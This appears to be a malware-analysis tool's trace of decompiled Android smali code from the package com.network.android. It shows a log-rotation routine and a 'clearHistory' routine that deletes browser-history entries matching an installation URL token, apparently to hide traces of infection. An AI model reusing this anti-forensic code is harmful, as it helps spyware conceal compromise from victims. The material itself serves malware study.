      87sget-object v5, Lcom/network/android/c/a/b;->e:Ljava/lang/String;
      89invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      90move-result-object v4
      92sget-object v5, Lcom/network/android/c/a/b;->b:Ljava/lang/String;
      94invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      95move-result-object v4
      97invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      98move-result-object v4
      100invoke-direct {v1, v4}, Ljava/io/File;-><init>(Ljava/lang/String;)V
      101new-instance v4, Ljava/io/File;
      102new-instance v5, Ljava/lang/StringBuilder;
      104invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
      106sget-object v6, Lcom/network/android/c/a/b;->e:Ljava/lang/String;
      108invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      109move-result-object v5
      111sget-object v6, Lcom/network/android/c/a/b;->c:Ljava/lang/String;
      113invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      114move-result-object v5
      116invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      117move-result-object v5
      119invoke-direct {v4, v5}, Ljava/io/File;-><init>(Ljava/lang/String;)V
      121invoke-virtual {v1}, Ljava/io/File;->exists()Z
      122move-result v5
      123if-eqz v5, :cond_10c
      125const-string v5, "getCurrentLogFilePath our last file that we wrote to was temp file. rename it to first file"
      127invoke-static {v5}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      129invoke-virtual {v4, v1}, Ljava/io/File;->renameTo(Ljava/io/File;)Z
      130move-result v1
      132invoke-static {v1}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
      133move-result-object v1
      135invoke-virtual {v1}, Ljava/lang/Boolean;->booleanValue()Z
      136move-result v1
      137if-nez v1, :cond_f6
      139const-string v1, "getCurrentLogFilePath failed on renaming, try merge"
      141invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      142new-instance v1, Ljava/lang/StringBuilder;
      144invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
      146sget-object v5, Lcom/network/android/c/a/b;->e:Ljava/lang/String;
      148invoke-virtual {v1, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      149move-result-object v1
      151sget-object v5, Lcom/network/android/c/a/b;->c:Ljava/lang/String;
      153invoke-virtual {v1, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      154move-result-object v1
      156invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      157move-result-object v1
      158new-instance v5, Ljava/lang/StringBuilder;
      160invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
      162sget-object v6, Lcom/network/android/c/a/b;->e:Ljava/lang/String;
      164invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      165move-result-object v5
      167sget-object v6, Lcom/network/android/c/a/b;->b:Ljava/lang/String;
      169invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      170move-result-object v5
      172invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      173move-result-object v5
      174const/4 v6, 0x1
      176invoke-static {v6}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
      177move-result-object v6
      179invoke-static {v1, v5, v6}, Lcom/network/media/q;->a(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Boolean;)I
      181invoke-virtual {v4}, Ljava/io/File;->delete()Z
      182cond_f6:
      183sget-object v1, Lcom/network/android/c/a/b;->b:Ljava/lang/String;
      184sput-object v1, Lcom/network/android/c/a/b;->d:Ljava/lang/String;
      186invoke-static {}, Lcom/network/android/agent/NetworkApp;->a()Landroid/content/Context;
      187move-result-object v1
      189invoke-static {v1}, Lcom/network/android/c/a/b;->a(Landroid/content/Context;)V
      191sget-object v0, Lcom/network/android/c/a/b;->b:Ljava/lang/String;
      192try_start_103: monitor-exit v3
      193try_end_104: goto/16 :goto_67
      194catchall_106: move-exception v0
      195try_start_107: monitor-exit v3
      196throw v0
      197catchall_109: move-exception v0
      198monitor-exit v2
      199throw v0
      200cond_10c:
      201const-string v1, "getCurrentLogFilePath our last file that we wrote to was temp file. merge it to first file"
      203invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      204new-instance v1, Ljava/lang/StringBuilder;
      206invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
      208sget-object v5, Lcom/network/android/c/a/b;->e:Ljava/lang/String;
      210invoke-virtual {v1, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      211move-result-object v1
      213sget-object v5, Lcom/network/android/c/a/b;->c:Ljava/lang/String;
      215invoke-virtual {v1, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      216move-result-object v1
      218invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      219move-result-object v1
      220new-instance v5, Ljava/lang/StringBuilder;
      222invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
      224sget-object v6, Lcom/network/android/c/a/b;->e:Ljava/lang/String;
      226invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      227move-result-object v5
      229sget-object v6, Lcom/network/android/c/a/b;->b:Ljava/lang/String;
      231invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      232move-result-object v5
      234invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      235move-result-object v5
      236const/4 v6, 0x1
      238invoke-static {v6}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
      239move-result-object v6
      241invoke-static {v1, v5, v6}, Lcom/network/media/q;->a(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Boolean;)I
      243invoke-virtual {v4}, Ljava/io/File;->delete()Z
      244try_end_146: goto/16 :goto_f6
      245catch_147: move-exception v1
      246try_start_148: new-instance v4, Ljava/lang/StringBuilder;
      248const-string v5, "getCurrentLogFilePath Exception: "
      250invoke-direct {v4, v5}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      252invoke-virtual {v1}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      253move-result-object v5
      255invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      256move-result-object v4
      258invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      259move-result-object v4
      261invoke-static {v4, v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      262const/4 v1, 0x0
      263sput-object v1, Lcom/network/android/c/a/b;->d:Ljava/lang/String;
      265const-string v1, "getCurrentLogFilePath somthing bad happend. returning null"
      267invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      269invoke-static {}, Lcom/network/android/agent/NetworkApp;->a()Landroid/content/Context;
      270move-result-object v1
      272invoke-static {v1}, Lcom/network/android/c/a/b;->a(Landroid/content/Context;)V
      273monitor-exit v3
      274try_end_16e: goto/16 :goto_67
      275cond_170:
      276sget-object v1, Lcom/network/android/c/a/b;->d:Ljava/lang/String;
      277if-nez v1, :cond_1a6
      279const-string v1, "getCurrentLogFilePath m_currentFilePath == null. creating a new file"
      281invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1073069
        • p0: getCurrentLogFilePath m_currentFilePath == null. creating a new file
      282new-instance v1, Ljava/io/File;
      283new-instance v4, Ljava/lang/StringBuilder;
      285invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
      287sget-object v5, Lcom/network/android/c/a/b;->e:Ljava/lang/String;
      289invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      290move-result-object v4
      292sget-object v5, Lcom/network/android/c/a/b;->b:Ljava/lang/String;
      294invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      295move-result-object v4
      297invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      298move-result-object v4
      300invoke-direct {v1, v4}, Ljava/io/File;-><init>(Ljava/lang/String;)V
      302invoke-virtual {v1}, Ljava/io/File;->createNewFile()Z
      304sget-object v1, Lcom/network/android/c/a/b;->b:Ljava/lang/String;
      305sput-object v1, Lcom/network/android/c/a/b;->d:Ljava/lang/String;
      307invoke-static {}, Lcom/network/android/agent/NetworkApp;->a()Landroid/content/Context;
      308move-result-object v1
      310invoke-static {v1}, Lcom/network/android/c/a/b;->a(Landroid/content/Context;)V
      312sget-object v0, Lcom/network/android/c/a/b;->b:Ljava/lang/String;
      313try_start_1a3: monitor-exit v3
      314try_end_1a4: goto/16 :goto_67
      315try_start_1a6:
      316sget-object v1, Lcom/network/android/c/a/b;->d:Ljava/lang/String;
      318sget-object v4, Lcom/network/android/c/a/b;->a:Ljava/lang/String;
      320invoke-virtual {v1, v4}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
      321move-result v1
      322if-nez v1, :cond_1c2
      324const-string v1, "getCurrentLogFilePath m_currentFilePath name is currpted. returning null"
      326invoke-static {v1}, Lcom/network/android/c/a/a;->b(Ljava/lang/String;)V
      327const/4 v1, 0x0
      328sput-object v1, Lcom/network/android/c/a/b;->d:Ljava/lang/String;
      330invoke-static {}, Lcom/network/android/agent/NetworkApp;->a()Landroid/content/Context;
      331move-result-object v1
      333invoke-static {v1}, Lcom/network/android/c/a/b;->a(Landroid/content/Context;)V
      334try_start_1bf: monitor-exit v3
      335try_end_1c0: goto/16 :goto_67
      336try_start_1c2: new-instance v1, Ljava/io/File;
      337new-instance v4, Ljava/lang/StringBuilder;
      339invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
      341sget-object v5, Lcom/network/android/c/a/b;->e:Ljava/lang/String;
      343invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      344move-result-object v4
      346sget-object v5, Lcom/network/android/c/a/b;->d:Ljava/lang/String;
      348invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      349move-result-object v4
      351invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      352move-result-object v4
      354invoke-direct {v1, v4}, Ljava/io/File;-><init>(Ljava/lang/String;)V
      356invoke-virtual {v1}, Ljava/io/File;->exists()Z
      • Time: 1073178
        • This:
          • /data/data/com.network.android/logs/0vlt.dat
        • Return:
          • true
      357move-result v4
      358if-nez v4, :cond_209
      360const-string v1, "getCurrentLogFilePath m_currentFilePath does not exists, creating it"
      362invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      363new-instance v1, Ljava/io/File;
      364new-instance v4, Ljava/lang/StringBuilder;
      366invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
      368sget-object v5, Lcom/network/android/c/a/b;->e:Ljava/lang/String;
      370invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      371move-result-object v4
      373sget-object v5, Lcom/network/android/c/a/b;->d:Ljava/lang/String;
      375invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      376move-result-object v4
      378invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      379move-result-object v4
      381invoke-direct {v1, v4}, Ljava/io/File;-><init>(Ljava/lang/String;)V
      383invoke-virtual {v1}, Ljava/io/File;->createNewFile()Z
      385sget-object v0, Lcom/network/android/c/a/b;->d:Ljava/lang/String;
      386try_start_206: monitor-exit v3
      387try_end_207: goto/16 :goto_67
      388cond_209:
      389invoke-virtual {v1}, Ljava/io/File;->length()J
      390move-result-wide v4
      391const-wide/16 v6, 0x7d0
      392cmp-long v1, v4, v6
      393if-ltz v1, :cond_2d2
      395const-string v1, "getCurrentLogFilePath m_currentFilePath is bigger than MAX_LOG_FILE."
      397invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      399sget-object v1, Lcom/network/android/c/a/b;->d:Ljava/lang/String;
      400const/4 v4, 0x0
      401const/4 v5, 0x1
      403invoke-virtual {v1, v4, v5}, Ljava/lang/String;->substring(II)Ljava/lang/String;
      404move-result-object v1
      406invoke-static {v1}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
      407move-result v1
      408const/16 v4, 0x9
      409if-ne v4, v1, :cond_25d
      411const-string v1, "getCurrentLogFilePath file name index is begger than MAX_FILE_NAME_INT, starting from 0 again"
      413invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      414new-instance v1, Ljava/io/File;
      415new-instance v4, Ljava/lang/StringBuilder;
      417invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
      419sget-object v5, Lcom/network/android/c/a/b;->e:Ljava/lang/String;
      421invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      422move-result-object v4
      424sget-object v5, Lcom/network/android/c/a/b;->b:Ljava/lang/String;
      426invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      427move-result-object v4
      429invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      430move-result-object v4
      432invoke-direct {v1, v4}, Ljava/io/File;-><init>(Ljava/lang/String;)V
      434invoke-virtual {v1}, Ljava/io/File;->delete()Z
      436invoke-virtual {v1}, Ljava/io/File;->createNewFile()Z
      438sget-object v1, Lcom/network/android/c/a/b;->b:Ljava/lang/String;
      439sput-object v1, Lcom/network/android/c/a/b;->d:Ljava/lang/String;
      441invoke-static {}, Lcom/network/android/agent/NetworkApp;->a()Landroid/content/Context;
      442move-result-object v1
      444invoke-static {v1}, Lcom/network/android/c/a/b;->a(Landroid/content/Context;)V
      446sget-object v0, Lcom/network/android/c/a/b;->b:Ljava/lang/String;
      447try_start_25a: monitor-exit v3
      448try_end_25b: goto/16 :goto_67
      449try_start_25d:
      450const-string v4, "getCurrentLogFilePath moving to the next file name."
      452invoke-static {v4}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      453new-instance v4, Ljava/lang/StringBuilder;
      455invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
      456add-int/lit8 v1, v1, 0x1
      458invoke-static {v1}, Ljava/lang/Integer;->toString(I)Ljava/lang/String;
      459move-result-object v1
      461invoke-virtual {v4, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      462move-result-object v1
      464sget-object v4, Lcom/network/android/c/a/b;->a:Ljava/lang/String;
      466invoke-virtual {v1, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      467move-result-object v1
      469invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      470move-result-object v1
      471new-instance v4, Ljava/io/File;
      472new-instance v5, Ljava/lang/StringBuilder;
      474invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
      476sget-object v6, Lcom/network/android/c/a/b;->e:Ljava/lang/String;
      478invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      479move-result-object v5
      481invoke-virtual {v5, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      482move-result-object v5
      484invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      485move-result-object v5
      487invoke-direct {v4, v5}, Ljava/io/File;-><init>(Ljava/lang/String;)V
      489invoke-virtual {v4}, Ljava/io/File;->delete()Z
      490new-instance v5, Ljava/lang/StringBuilder;
      492const-string v6, "getCurrentLogFilePath Logfile was removed: "
      494invoke-direct {v5, v6}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      496invoke-virtual {v4}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
      497move-result-object v6
      499invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      500move-result-object v5
      502invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      503move-result-object v5
      505invoke-static {v5}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      507invoke-virtual {v4}, Ljava/io/File;->createNewFile()Z
      508new-instance v5, Ljava/lang/StringBuilder;
      510const-string v6, "Logfile was created: "
      512invoke-direct {v5, v6}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      514invoke-virtual {v4}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
      515move-result-object v4
      517invoke-virtual {v5, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      518move-result-object v4
      520invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      521move-result-object v4
      523invoke-static {v4}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      524sput-object v1, Lcom/network/android/c/a/b;->d:Ljava/lang/String;
      526invoke-static {}, Lcom/network/android/agent/NetworkApp;->a()Landroid/content/Context;
      527move-result-object v4
      529invoke-static {v4}, Lcom/network/android/c/a/b;->a(Landroid/content/Context;)V
      530try_start_2ce: monitor-exit v3
      531try_end_2cf: move-object v0, v1
      532goto/16 :goto_67
      533try_start_2d2:
      534const-string v1, "getCurrentLogFilePath all good. returning current file. not need to change anything"
      536invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1073185
        • p0: getCurrentLogFilePath all good. returning current file. not need to change anything
      538sget-object v0, Lcom/network/android/c/a/b;->d:Ljava/lang/String;
      539try_end_2d9: monitor-exit v3
      540try_end_2da: goto/16 :goto_67
      Cross References
      APIs
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.System.currentTimeMillis
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.content.Context.getContentResolver
      • android.provider.Browser.BOOKMARKS_URI:Landroid/net/Uri
      • android.provider.Browser.HISTORY_PROJECTION:[Ljava/lang/String
      • android.content.ContentResolver.query
      • java.lang.StringBuilder.<init>
      • android.database.Cursor.getCount
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.database.Cursor.moveToLast
      • android.database.Cursor.getString
      • android.database.Cursor.getLong
      • java.lang.Long.valueOf
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.String.contains
      • java.lang.String.contains
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.Long.longValue
      • java.util.Date.<init>
      • java.util.Date.toGMTString
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.String.contains
      • java.lang.StringBuilder.<init>
      • java.lang.Long.longValue
      • java.util.Date.<init>
      • java.util.Date.toGMTString
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.Long.longValue
      • java.lang.StringBuilder.<init>
      • java.lang.Long.longValue
      • java.util.Date.<init>
      • java.util.Date.toGMTString
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.Long.longValue
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.database.Cursor.moveToPrevious
      • android.content.Context.getSharedPreferences
      • android.content.SharedPreferences.edit
      • android.content.SharedPreferences$Editor.remove
      • android.content.SharedPreferences$Editor.commit
      • android.database.Cursor.close
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.Long.longValue
      • java.util.Date.<init>
      • java.util.Date.toGMTString
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.database.Cursor.close
      • java.lang.StringBuilder.<init>
      • java.lang.Exception.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.database.Cursor.close
      • java.lang.StringBuilder.<init>
      • java.lang.Exception.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.Exception.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      Strings
      • SystemUtil clearHistory:
      • , sleep (elapsed) time before running:
      • , removeHistoryByTime:
      • SystemUtil clearHistory:URL For Remove, sleep (elapsed) time before running:30000, removeHistoryByTime:false
      • SystemUtil clearHistory currentTimeMillis:
      • , timeForDeletion:
      • , in seconds:
      • SystemUtil clearHistory currentTimeMillis: 1658915418003, timeForDeletion:1658911848003, in seconds:3630
      • SystemUtil clearHistory removeHistoryByIp History Count:
      • SystemUtil clearHistory removeHistoryByIp History Count: 0
      • SystemUtil clearHistory removeHistoryByIp by url:
      • rU8IPXbn
      • SystemUtil clearHistory REMOVES url.contains(urlStrForRemove):
      • , date:
      • SystemUtil clearHistory if (removeHistoryByTime) <
      • SystemUtil clearHistory REMOVES by date:
      • , loaded before (seconds):
      • , url:
      • SystemUtil sleepTimeBeforeRemovingHistory == TIME_BEFORE_CLEARING_BROWSER_HISTORY finish the url removal
      • NetworkPreferences
      • url address
      • SystemUtil clearHistory green instalation url:
      • , date:
      • removeHistoryByIp getSettingsFromHistory-
      • removeHistoryByIp-
      Position Instruction Meta Information
      0const/4 v8, 0x1
      1const/4 v7, 0x0
      2const/4 v6, 0x0
      3new-instance v0, Ljava/lang/StringBuilder;
      5const-string v1, "SystemUtil clearHistory:"
      7invoke-direct {v0, v1}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      9invoke-virtual {v0, p0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      10move-result-object v0
      12const-string v1, ", sleep (elapsed) time before running:"
      14invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      15move-result-object v0
      17invoke-virtual {v0, p2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      18move-result-object v0
      20const-string v1, ", removeHistoryByTime:"
      22invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      23move-result-object v0
      25invoke-virtual {v0, p3}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder;
      26move-result-object v0
      28invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      29move-result-object v0
      31invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1104437
        • p0: SystemUtil clearHistory:URL For Remove, sleep (elapsed) time before running:30000, removeHistoryByTime:false
      32try_start_29:
      33invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
      34move-result-wide v0
      35const-wide/32 v2, 0x36ee80
      36sub-long v2, v0, v2
      37int-to-long v4, p2
      38add-long v9, v2, v4
      39new-instance v2, Ljava/lang/StringBuilder;
      41const-string v3, "SystemUtil clearHistory currentTimeMillis: "
      43invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      45invoke-virtual {v2, v0, v1}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
      46move-result-object v0
      48const-string v1, ", timeForDeletion:"
      50invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      51move-result-object v0
      53invoke-virtual {v0, v9, v10}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
      54move-result-object v0
      56const-string v1, ", in seconds:"
      58invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      59move-result-object v0
      60const v1, 0x36ee80
      61add-int/2addr v1, p2
      62div-int/lit16 v1, v1, 0x3e8
      64invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      65move-result-object v0
      67invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      68move-result-object v0
      70invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1104440
        • p0: SystemUtil clearHistory currentTimeMillis: 1658915418003, timeForDeletion:1658911848003, in seconds:3630
      72invoke-virtual {p1}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
      73move-result-object v0
      75sget-object v1, Landroid/provider/Browser;->BOOKMARKS_URI:Landroid/net/Uri;
      77sget-object v2, Landroid/provider/Browser;->HISTORY_PROJECTION:[Ljava/lang/String;
      78const/4 v3, 0x0
      79const/4 v4, 0x0
      80const/4 v5, 0x0
      82invoke-virtual/range {v0 .. v5}, Landroid/content/ContentResolver;->query(Landroid/net/Uri;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;
      • Time: 1104447
        • This:
          • android.app.ContextImpl$ApplicationContentResolver@623ae6
        • p0: content://browser/bookmarks
        • p1: [Ljava.lang.String;@b20486d
        • p1.Arrays.toString: [_id, url, visits, date, bookmark, title, favicon, thumbnail, touch_icon, user_entered]
        • p2: null
        • p3: null
        • p4: null
        • Return:
          • android.content.ContentResolver$CursorWrapperInner@41e3ca2
      83try_end_6f: move-result-object v1
      84try_start_70: new-instance v0, Ljava/lang/StringBuilder;
      86const-string v2, "SystemUtil clearHistory removeHistoryByIp History Count: "
      88invoke-direct {v0, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      90invoke-interface {v1}, Landroid/database/Cursor;->getCount()I
      91move-result v2
      93invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      94move-result-object v0
      96invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      97move-result-object v0
      99invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1104451
        • p0: SystemUtil clearHistory removeHistoryByIp History Count: 0
      100if-nez p0, :cond_237
      101move v2, v7
      102goto_89:
      103invoke-interface {v1}, Landroid/database/Cursor;->moveToLast()Z
      104try_end_8c: move-result v0
      105if-eqz v0, :cond_162
      106cond_8f: const/4 v0, 0x1
      107try_start_90:
      108invoke-interface {v1, v0}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      109move-result-object v0
      110const/4 v3, 0x3
      112invoke-interface {v1, v3}, Landroid/database/Cursor;->getLong(I)J
      113move-result-wide v3
      115invoke-static {v3, v4}, Ljava/lang/Long;->valueOf(J)Ljava/lang/Long;
      116move-result-object v3
      117if-eqz v2, :cond_ed
      118if-eqz v0, :cond_ed
      119new-instance v4, Ljava/lang/StringBuilder;
      121const-string v5, "SystemUtil clearHistory removeHistoryByIp by url: "
      123invoke-direct {v4, v5}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      125invoke-virtual {v4, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      126move-result-object v4
      128invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      129move-result-object v4
      131invoke-static {v4}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      133const-string v4, "rU8IPXbn"
      135invoke-virtual {v0, v4}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
      136move-result v4
      137if-nez v4, :cond_185
      139invoke-virtual {v0, p0}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
      140move-result v4
      141if-eqz v4, :cond_ed
      142new-instance v4, Ljava/lang/StringBuilder;
      144const-string v5, "SystemUtil clearHistory REMOVES url.contains(urlStrForRemove): "
      146invoke-direct {v4, v5}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      148invoke-virtual {v4, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      149move-result-object v4
      151const-string v5, ", date: "
      153invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      154move-result-object v4
      155new-instance v5, Ljava/util/Date;
      157invoke-virtual {v3}, Ljava/lang/Long;->longValue()J
      158move-result-wide v6
      160invoke-direct {v5, v6, v7}, Ljava/util/Date;-><init>(J)V
      162invoke-virtual {v5}, Ljava/util/Date;->toGMTString()Ljava/lang/String;
